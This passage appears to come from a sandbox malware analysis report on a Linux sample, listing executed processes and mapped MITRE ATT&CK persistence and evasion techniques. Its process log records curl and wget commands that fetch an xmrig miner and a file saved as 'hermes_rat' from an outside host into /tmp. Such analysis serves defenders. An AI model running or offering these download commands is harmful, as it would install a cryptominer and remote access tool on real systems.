  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1874
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1876
- /bin/sleep
  sleep 2
  2⤵
  PID:1877
- /bin/uname
  uname -m
  2⤵
  PID:1880
- /usr/bin/pgrep
  pgrep -f hermes_rat
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1881
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1882
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1883
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1885
- /bin/sleep
  sleep 2
  2⤵
  PID:1886
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1896
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1898
- /bin/sleep
  sleep 2
  2⤵
  PID:1899
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1900
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1902
- /bin/sleep
  sleep 2
  2⤵
  PID:1903
- /bin/rm
  rm -f /tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
  2⤵
  PID:1904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable